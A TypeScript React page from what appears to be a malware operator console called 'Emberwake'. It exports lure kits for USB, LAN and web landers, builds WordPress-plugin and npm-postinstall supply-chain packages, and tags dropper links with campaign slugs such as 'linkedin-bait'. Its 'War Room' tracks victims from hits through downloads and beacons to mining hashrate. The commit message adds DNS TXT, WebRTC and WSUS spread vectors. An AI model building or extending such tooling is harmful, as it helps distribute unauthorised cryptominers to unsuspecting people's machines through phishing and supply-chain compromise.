Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
604 lines
23 KiB
TypeScript
604 lines
23 KiB
TypeScript
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
|
||
import { Link } from 'react-router-dom';
|
||
import { api } from '../api/client';
|
||
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
|
||
import { publicDownloadUrl } from '../help/emberwake';
|
||
import {
|
||
EMBERWAKE_TECHNIQUE_LINKS,
|
||
SPREAD_TECHNIQUES_DOC,
|
||
spreadTechniqueDocUrl,
|
||
} from '../help/spreadTechniques';
|
||
import { formatHashrate, sparklineBarHeight, sparklineMax, staggerDelayMs } from '../help/warRoom';
|
||
import {
|
||
aggregateCampaignTelemetry,
|
||
maxTelemetryHashrate,
|
||
mergeCampaignWithLiveTelemetry,
|
||
} from '../help/warRoomTelemetry';
|
||
import CampaignConstellations from '../components/WarRoom/CampaignConstellations';
|
||
import WarRoomFunnelBoard from '../components/WarRoom/WarRoomFunnelBoard';
|
||
import WarRoomOdometer from '../components/WarRoom/WarRoomOdometer';
|
||
import { useWebSocket } from '../hooks/useWebSocket';
|
||
import { usePresence } from '../context/PresenceContext';
|
||
import AlsoHere from '../components/Presence/AlsoHere';
|
||
import ComradeAvatar from '../components/Presence/ComradeAvatar';
|
||
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
|
||
import { HelpTip } from '../components/HelpTip';
|
||
import './EmberwakePage.css';
|
||
import '../components/Presence/Presence.css';
|
||
|
||
function CopyChip({ text, label }: { text: string; label: string }) {
|
||
const [ok, setOk] = useState(false);
|
||
const copy = () => {
|
||
void navigator.clipboard?.writeText(text).then(() => {
|
||
setOk(true);
|
||
setTimeout(() => setOk(false), 1500);
|
||
}).catch(() => {});
|
||
};
|
||
return (
|
||
<button type="button" className="btn btn-outline btn-sm" onClick={copy}>
|
||
{ok ? 'Copied' : label}
|
||
</button>
|
||
);
|
||
}
|
||
|
||
const NOTES_TYPING_DEBOUNCE_MS = 400;
|
||
const NOTES_TYPING_IDLE_MS = 2000;
|
||
const WAR_ROOM_DAYS = 7;
|
||
|
||
export default function EmberwakePage() {
|
||
const { latestMessage, agents: wsAgents } = useWebSocket();
|
||
const { notesTyping, sendNotesTyping } = usePresence();
|
||
const [builds, setBuilds] = useState<BuildRecord[]>([]);
|
||
const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
|
||
const [serverBase, setServerBase] = useState('');
|
||
const [campaign, setCampaign] = useState('linkedin-bait');
|
||
const [pinA, setPinA] = useState('');
|
||
const [pinB, setPinB] = useState('');
|
||
const [notes, setNotes] = useState('');
|
||
const [notesMeta, setNotesMeta] = useState('');
|
||
const [warRoom, setWarRoom] = useState<WarRoomResponse | null>(null);
|
||
const [warRoomUpdated, setWarRoomUpdated] = useState('');
|
||
const [warRoomView, setWarRoomView] = useState<'funnel' | 'table' | 'constellations'>('funnel');
|
||
const [highlightedCampaign, setHighlightedCampaign] = useState<string | null>(null);
|
||
const [exportBusy, setExportBusy] = useState(false);
|
||
const [siteName, setSiteName] = useState('my-blog');
|
||
const [notesBusy, setNotesBusy] = useState(false);
|
||
const typingTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||
const typingActiveRef = useRef(false);
|
||
|
||
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
|
||
|
||
// Keep refs so `load` can read current pin values without listing them as deps.
|
||
// Listing pinA/pinB as deps caused a cascade: load() → setPinA/setPinB →
|
||
// re-render → new load reference → useEffect fires load() again (×N).
|
||
const pinARef = useRef(pinA);
|
||
const pinBRef = useRef(pinB);
|
||
pinARef.current = pinA;
|
||
pinBRef.current = pinB;
|
||
|
||
const loadWarRoom = useCallback(async () => {
|
||
try {
|
||
const data = await api.getWarRoom(WAR_ROOM_DAYS);
|
||
setWarRoom(data);
|
||
setWarRoomUpdated(data.generated_at);
|
||
} catch {
|
||
/* war room is non-critical; silently retain previous data */
|
||
}
|
||
}, []);
|
||
|
||
const load = useCallback(async () => {
|
||
const [b, info, cfg, pub, n] = await Promise.all([
|
||
api.listBuilds(),
|
||
api.getServerInfo(),
|
||
api.getConfig(),
|
||
api.listPublicBuilds(),
|
||
api.getEmberwakeNotes(),
|
||
]);
|
||
setBuilds(b);
|
||
const pubUrl = cfg.server?.public_url?.trim();
|
||
setServerBase((pubUrl || info.suggested_url || window.location.origin).replace(/\/$/, ''));
|
||
setPublicBuilds(pub.builds);
|
||
setNotes(n.content);
|
||
setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
|
||
void loadWarRoom().catch(() => {});
|
||
if (!pinARef.current) {
|
||
const p = b.find((x) => x.pinned);
|
||
if (p) setPinA(p.id);
|
||
}
|
||
if (!pinBRef.current && b.length > 1) {
|
||
const alt = b.find((x) => !x.pinned) ?? b[1];
|
||
if (alt) setPinB(alt.id);
|
||
}
|
||
}, [loadWarRoom]);
|
||
|
||
useEffect(() => {
|
||
void load().catch(() => {});
|
||
}, [load]);
|
||
|
||
const liveTelemetry = useMemo(() => aggregateCampaignTelemetry(wsAgents), [wsAgents]);
|
||
const maxLiveHashrate = useMemo(() => maxTelemetryHashrate(liveTelemetry), [liveTelemetry]);
|
||
|
||
const displayCampaigns = useMemo(() => {
|
||
if (!warRoom?.campaigns?.length) return [];
|
||
return warRoom.campaigns.map((c) =>
|
||
mergeCampaignWithLiveTelemetry(c, liveTelemetry.get(c.campaign)),
|
||
);
|
||
}, [warRoom, liveTelemetry]);
|
||
|
||
const campaignAgentsMap = useMemo(() => {
|
||
const out: Record<string, typeof wsAgents> = {};
|
||
for (const [slug, telemetry] of liveTelemetry) {
|
||
out[slug] = telemetry.agents;
|
||
}
|
||
return out;
|
||
}, [liveTelemetry]);
|
||
|
||
useEffect(() => {
|
||
if (!latestMessage) return;
|
||
if (latestMessage.type === 'emberwake_notes_updated') {
|
||
const p = latestMessage.payload as EmberwakeNotes;
|
||
if (p && typeof p.content === 'string') {
|
||
setNotes(p.content);
|
||
setNotesMeta(p.updated_by ? `${p.updated_by} · ${p.updated_at}` : '');
|
||
}
|
||
return;
|
||
}
|
||
if (latestMessage.type === 'emberwake_war_room') {
|
||
const p = latestMessage.payload as WarRoomResponse;
|
||
if (p && Array.isArray(p.campaigns)) {
|
||
setWarRoom(p);
|
||
setWarRoomUpdated(p.generated_at || new Date().toISOString());
|
||
}
|
||
}
|
||
}, [latestMessage]);
|
||
|
||
const stopNotesTyping = useCallback(() => {
|
||
if (typingTimerRef.current) {
|
||
clearTimeout(typingTimerRef.current);
|
||
typingTimerRef.current = null;
|
||
}
|
||
if (typingActiveRef.current) {
|
||
typingActiveRef.current = false;
|
||
sendNotesTyping(false);
|
||
}
|
||
}, [sendNotesTyping]);
|
||
|
||
const handleNotesChange = (value: string) => {
|
||
setNotes(value);
|
||
if (typingTimerRef.current) clearTimeout(typingTimerRef.current);
|
||
typingTimerRef.current = setTimeout(() => {
|
||
if (!typingActiveRef.current) {
|
||
typingActiveRef.current = true;
|
||
sendNotesTyping(true);
|
||
}
|
||
typingTimerRef.current = setTimeout(() => stopNotesTyping(), NOTES_TYPING_IDLE_MS);
|
||
}, NOTES_TYPING_DEBOUNCE_MS);
|
||
};
|
||
|
||
useEffect(() => () => stopNotesTyping(), [stopNotesTyping]);
|
||
|
||
const handleConstellationSelect = useCallback((slug: string) => {
|
||
setHighlightedCampaign(slug);
|
||
setWarRoomView('funnel');
|
||
}, []);
|
||
|
||
useEffect(() => {
|
||
if (warRoomView !== 'funnel' || !highlightedCampaign) return;
|
||
const t = window.setTimeout(() => {
|
||
const el = document.getElementById(`war-room-campaign-${highlightedCampaign}`);
|
||
el?.scrollIntoView({ behavior: 'smooth', block: 'nearest' });
|
||
}, 80);
|
||
const clear = window.setTimeout(() => setHighlightedCampaign(null), 3200);
|
||
return () => {
|
||
window.clearTimeout(t);
|
||
window.clearTimeout(clear);
|
||
};
|
||
}, [warRoomView, highlightedCampaign]);
|
||
|
||
const saveNotes = async () => {
|
||
stopNotesTyping();
|
||
setNotesBusy(true);
|
||
try {
|
||
const n = await api.putEmberwakeNotes(notes);
|
||
setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
|
||
} finally {
|
||
setNotesBusy(false);
|
||
}
|
||
};
|
||
|
||
const exportKit = async () => {
|
||
setExportBusy(true);
|
||
try {
|
||
await api.exportSpreadKit({
|
||
build_id: pinA || pinned[0]?.id || '',
|
||
server_url: serverBase,
|
||
campaign,
|
||
});
|
||
} finally {
|
||
setExportBusy(false);
|
||
}
|
||
};
|
||
|
||
return (
|
||
<div className="page emberwake-page operator-deck-page">
|
||
<header className="deck-hero">
|
||
<div className="deck-hero-text">
|
||
<p className="deck-eyebrow font-tech">SPREAD OPERATIONS</p>
|
||
<h1>
|
||
Emberwake <HelpTip field="ew_overview" />
|
||
</h1>
|
||
<p className="page-subtitle">
|
||
Tag install links, export lure kits, and track which campaigns convert — all from one desk.
|
||
</p>
|
||
<p className="emberwake-hero-links form-hint">
|
||
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
|
||
Spread techniques playbook
|
||
</a>
|
||
{' · '}
|
||
<a href="/spread/">On-server spread lander</a>
|
||
</p>
|
||
</div>
|
||
</header>
|
||
|
||
<AlsoHere page="/emberwake" />
|
||
|
||
<section
|
||
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-primary-block"
|
||
aria-labelledby="ew-setup-heading"
|
||
>
|
||
<h2 id="ew-setup-heading" className="emberwake-section-title">
|
||
Campaign setup <HelpTip field="ew_campaign_setup" />
|
||
</h2>
|
||
<p className="emberwake-section-desc">
|
||
Set once — every link and export below uses these values.
|
||
</p>
|
||
<div className="emberwake-setup-grid">
|
||
<div className="form-group">
|
||
<label className="label" htmlFor="ew-campaign">
|
||
Campaign slug (?c=) <HelpTip field="ew_campaign_slug" />
|
||
</label>
|
||
<input id="ew-campaign" className="input mono" value={campaign} onChange={(e) => setCampaign(e.target.value)} />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label" htmlFor="ew-server">Command deck URL</label>
|
||
<input
|
||
id="ew-server"
|
||
className="input mono"
|
||
value={serverBase}
|
||
onChange={(e) => setServerBase(e.target.value)}
|
||
/>
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label" htmlFor="ew-pin-a">Build A (pin)</label>
|
||
<select id="ew-pin-a" className="input" value={pinA} onChange={(e) => setPinA(e.target.value)}>
|
||
<option value="">Latest / pinned</option>
|
||
{builds.map((b) => (
|
||
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform} {b.pinned ? '📌' : ''}</option>
|
||
))}
|
||
</select>
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label" htmlFor="ew-pin-b">Build B (A/B test)</label>
|
||
<select id="ew-pin-b" className="input" value={pinB} onChange={(e) => setPinB(e.target.value)}>
|
||
<option value="">—</option>
|
||
{builds.map((b) => (
|
||
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform}</option>
|
||
))}
|
||
</select>
|
||
</div>
|
||
</div>
|
||
|
||
<div className="emberwake-subsection">
|
||
<h3 className="emberwake-subsection-title">
|
||
Install commands <HelpTip field="ew_install_links" />
|
||
</h3>
|
||
<p className="emberwake-section-desc">
|
||
Per-platform one-liners (PowerShell, bash, macOS) are in Builds — pin a build there before sharing links.
|
||
</p>
|
||
<Link to="/builds" className="btn btn-outline">
|
||
View install commands in Builds →
|
||
</Link>
|
||
</div>
|
||
|
||
<div className="emberwake-subsection emberwake-subsection--inline">
|
||
<div>
|
||
<h3 className="emberwake-subsection-title">
|
||
Download spread kit <HelpTip field="ew_spread_kit" />
|
||
</h3>
|
||
<p className="emberwake-section-desc">
|
||
ZIP templates for USB, LAN, or web landers — includes <code>/spread/</code> assets.
|
||
</p>
|
||
</div>
|
||
<button
|
||
type="button"
|
||
className="btn btn-primary"
|
||
disabled={exportBusy || !serverBase}
|
||
onClick={() => void exportKit()}
|
||
>
|
||
{exportBusy ? 'Zipping…' : 'Export spread kit ZIP'}
|
||
</button>
|
||
</div>
|
||
</section>
|
||
|
||
<section
|
||
id="campaign-war-room"
|
||
className="spread-section spread-section--war-room operator-deck-card operator-interactive"
|
||
aria-labelledby="ew-war-room-heading"
|
||
>
|
||
<h2 id="ew-war-room-heading" className="emberwake-section-title">
|
||
Campaign War Room <HelpTip field="ew_war_room" />
|
||
</h2>
|
||
<p className="emberwake-section-desc">
|
||
Track hits → downloads → beacons → miners per <code>?c=</code> slug (last {WAR_ROOM_DAYS} days).
|
||
</p>
|
||
<div className="war-room-toolbar">
|
||
<span className="war-room-toolbar-meta">
|
||
{warRoomUpdated ? `Updated ${new Date(warRoomUpdated).toLocaleTimeString()}` : 'Loading…'}
|
||
{' '}<HelpTip field="ew_war_room_funnel" />
|
||
</span>
|
||
<div className="war-room-toolbar-right">
|
||
<div className="war-room-view-toggle" role="group" aria-label="War room view">
|
||
<button
|
||
type="button"
|
||
className={`btn btn-sm ${warRoomView === 'funnel' ? 'btn-primary' : 'btn-outline'}`}
|
||
onClick={() => setWarRoomView('funnel')}
|
||
>
|
||
Funnel board
|
||
</button>
|
||
<button
|
||
type="button"
|
||
className={`btn btn-sm ${warRoomView === 'table' ? 'btn-primary' : 'btn-outline'}`}
|
||
onClick={() => setWarRoomView('table')}
|
||
>
|
||
Stats table
|
||
</button>
|
||
<button
|
||
type="button"
|
||
className={`btn btn-sm ${warRoomView === 'constellations' ? 'btn-primary' : 'btn-outline'}`}
|
||
onClick={() => setWarRoomView('constellations')}
|
||
>
|
||
Constellations
|
||
</button>
|
||
</div>
|
||
<HelpTip field="ew_war_room_views" />
|
||
<span className="war-room-toolbar-meta">Hash live · funnel WS ~30s</span>
|
||
</div>
|
||
</div>
|
||
{displayCampaigns.length > 0 ? (
|
||
warRoomView === 'constellations' ? (
|
||
<CampaignConstellations
|
||
campaigns={displayCampaigns}
|
||
onSelectCampaign={handleConstellationSelect}
|
||
/>
|
||
) : warRoomView === 'funnel' ? (
|
||
<WarRoomFunnelBoard
|
||
campaigns={displayCampaigns}
|
||
days={warRoom?.days || WAR_ROOM_DAYS}
|
||
refreshKey={warRoomUpdated}
|
||
highlightCampaign={highlightedCampaign}
|
||
campaignAgents={campaignAgentsMap}
|
||
maxLiveHashrate={maxLiveHashrate}
|
||
/>
|
||
) : (
|
||
<div className="war-room-table-wrap">
|
||
<table className="war-room-table">
|
||
<thead>
|
||
<tr>
|
||
<th>Campaign</th>
|
||
<th>Hits</th>
|
||
<th>Downloads</th>
|
||
<th>Beacon</th>
|
||
<th>Mining</th>
|
||
<th>Agents</th>
|
||
<th>Online</th>
|
||
<th>Hashrate</th>
|
||
<th>Conv %</th>
|
||
<th>7d trend</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
{displayCampaigns.map((c, rowIndex) => {
|
||
const max = sparklineMax(c.daily_hits);
|
||
const beacon = c.first_beacon ?? c.agents;
|
||
const mining = c.mining ?? (c.hashrate > 0 ? 1 : 0);
|
||
return (
|
||
<tr key={c.campaign}>
|
||
<td>
|
||
<code>{c.campaign}</code>
|
||
{c.last_activity ? (
|
||
<span className="form-hint" style={{ display: 'block', marginTop: '0.15rem' }}>
|
||
{new Date(c.last_activity).toLocaleDateString()}
|
||
</span>
|
||
) : null}
|
||
</td>
|
||
<td>
|
||
<WarRoomOdometer
|
||
value={c.hits}
|
||
staggerMs={staggerDelayMs(rowIndex, 0)}
|
||
showDelta
|
||
/>
|
||
</td>
|
||
<td>
|
||
<WarRoomOdometer
|
||
value={c.downloads}
|
||
staggerMs={staggerDelayMs(rowIndex, 1)}
|
||
showDelta
|
||
/>
|
||
</td>
|
||
<td>
|
||
<WarRoomOdometer
|
||
value={beacon}
|
||
staggerMs={staggerDelayMs(rowIndex, 2)}
|
||
showDelta
|
||
/>
|
||
</td>
|
||
<td>
|
||
<WarRoomOdometer
|
||
value={mining}
|
||
staggerMs={staggerDelayMs(rowIndex, 3)}
|
||
showDelta
|
||
/>
|
||
</td>
|
||
<td>
|
||
<WarRoomOdometer
|
||
value={c.agents}
|
||
staggerMs={staggerDelayMs(rowIndex, 4)}
|
||
/>
|
||
</td>
|
||
<td className="war-room-online">
|
||
<WarRoomOdometer
|
||
value={c.online}
|
||
staggerMs={staggerDelayMs(rowIndex, 5)}
|
||
/>
|
||
</td>
|
||
<td>
|
||
<WarRoomOdometer
|
||
value={c.hashrate}
|
||
format={(n) => formatHashrate(n)}
|
||
staggerMs={staggerDelayMs(rowIndex, 6)}
|
||
showDelta
|
||
/>
|
||
</td>
|
||
<td className="war-room-conv">
|
||
<WarRoomOdometer
|
||
value={c.conversion_pct}
|
||
format={(n) => n.toFixed(1)}
|
||
suffix="%"
|
||
staggerMs={staggerDelayMs(rowIndex, 7)}
|
||
showDelta
|
||
/>
|
||
</td>
|
||
<td>
|
||
<div className="war-room-sparkline" title={c.daily_hits.join(', ')}>
|
||
{c.daily_hits.map((v, i) => (
|
||
<span
|
||
key={i}
|
||
style={{ height: `${sparklineBarHeight(v, max)}%` }}
|
||
/>
|
||
))}
|
||
</div>
|
||
</td>
|
||
</tr>
|
||
);
|
||
})}
|
||
</tbody>
|
||
</table>
|
||
</div>
|
||
)
|
||
) : (
|
||
<p className="war-room-empty">
|
||
No campaign activity in the last {WAR_ROOM_DAYS} days. Share dropper links with <code>?c=your-slug</code> to populate the funnel.
|
||
</p>
|
||
)}
|
||
</section>
|
||
|
||
<details className="emberwake-advanced spread-section spread-section--violet operator-deck-card operator-interactive">
|
||
<summary className="emberwake-advanced-summary">
|
||
<span className="emberwake-section-title">
|
||
Supply-chain exports <HelpTip field="ew_supply_chain" />
|
||
</span>
|
||
<span className="emberwake-section-desc emberwake-advanced-tag">Advanced</span>
|
||
</summary>
|
||
<p className="emberwake-section-desc">
|
||
WordPress plugin or npm postinstall ZIP — uses campaign setup above.
|
||
</p>
|
||
<SupplyChainExportWizard
|
||
builds={builds}
|
||
serverBase={serverBase}
|
||
onServerBaseChange={setServerBase}
|
||
pinA={pinA}
|
||
onPinAChange={setPinA}
|
||
campaign={campaign}
|
||
onCampaignChange={setCampaign}
|
||
siteName={siteName}
|
||
onSiteNameChange={setSiteName}
|
||
/>
|
||
</details>
|
||
|
||
<details className="emberwake-advanced spread-section spread-section--gold operator-deck-card operator-interactive">
|
||
<summary className="emberwake-advanced-summary">
|
||
<span className="emberwake-section-title">
|
||
Public download links <HelpTip field="ew_public_urls" />
|
||
</span>
|
||
</summary>
|
||
<p className="emberwake-section-desc">
|
||
Direct download URLs per build — also listed on the login page when marked public.
|
||
</p>
|
||
<ul className="emberwake-public-list">
|
||
{(publicBuilds.length ? publicBuilds : builds.slice(0, 5)).map((b) => (
|
||
<li key={b.id}>
|
||
<strong>{b.worker_name}</strong> ({b.platform})
|
||
{' — '}
|
||
<a href={publicDownloadUrl(serverBase, b.id, campaign)} target="_blank" rel="noreferrer">
|
||
public download
|
||
</a>
|
||
<CopyChip text={publicDownloadUrl(serverBase, b.id, campaign)} label="Copy" />
|
||
</li>
|
||
))}
|
||
</ul>
|
||
</details>
|
||
|
||
<section
|
||
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-techniques-block"
|
||
aria-labelledby="ew-techniques-heading"
|
||
>
|
||
<h2 id="ew-techniques-heading" className="emberwake-section-title">
|
||
How to spread <HelpTip field="ew_techniques" />
|
||
</h2>
|
||
<p className="emberwake-section-desc">
|
||
Pick a vector — step-by-step instructions live in the{' '}
|
||
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
|
||
Spread techniques playbook
|
||
</a>
|
||
.
|
||
</p>
|
||
<ul className="emberwake-technique-list">
|
||
{EMBERWAKE_TECHNIQUE_LINKS.map((t) => (
|
||
<li key={t.anchor}>
|
||
<a href={spreadTechniqueDocUrl(t.anchor)} target="_blank" rel="noreferrer">
|
||
{t.label}
|
||
</a>
|
||
{' — '}
|
||
{t.hint}
|
||
</li>
|
||
))}
|
||
</ul>
|
||
</section>
|
||
|
||
<section className="card operator-deck-card operator-interactive" aria-labelledby="ew-notes-heading">
|
||
<h2 id="ew-notes-heading" className="emberwake-section-title">
|
||
Team notes <HelpTip field="ew_shared_notes" />
|
||
</h2>
|
||
<p className="emberwake-section-desc">
|
||
Shared scratchpad for lure copy and rotation{notesMeta ? ` — last edit: ${notesMeta}` : ''}.
|
||
</p>
|
||
{notesTyping?.active && (
|
||
<div className="emberwake-typing-banner" role="status">
|
||
<ComradeAvatar user={notesTyping.user} size="sm" title={`${notesTyping.user} is editing notes`} />
|
||
<span className="emberwake-typing-body">
|
||
<strong>{notesTyping.user}</strong> is editing notes
|
||
<span className="typing-dots" aria-hidden>
|
||
<span />
|
||
<span />
|
||
<span />
|
||
</span>
|
||
<span className="emberwake-typing-cursor" aria-hidden />
|
||
</span>
|
||
</div>
|
||
)}
|
||
<textarea
|
||
className="input emberwake-notes"
|
||
rows={6}
|
||
value={notes}
|
||
onChange={(e) => handleNotesChange(e.target.value)}
|
||
onBlur={() => stopNotesTyping()}
|
||
placeholder="Paste lure copy, host paths, rotation schedule…"
|
||
/>
|
||
<button type="button" className="btn btn-primary" style={{ marginTop: '0.5rem' }} disabled={notesBusy} onClick={() => void saveNotes()}>
|
||
{notesBusy ? 'Saving…' : 'Save notes'}
|
||
</button>
|
||
</section>
|
||
</div>
|
||
);
|
||
}
|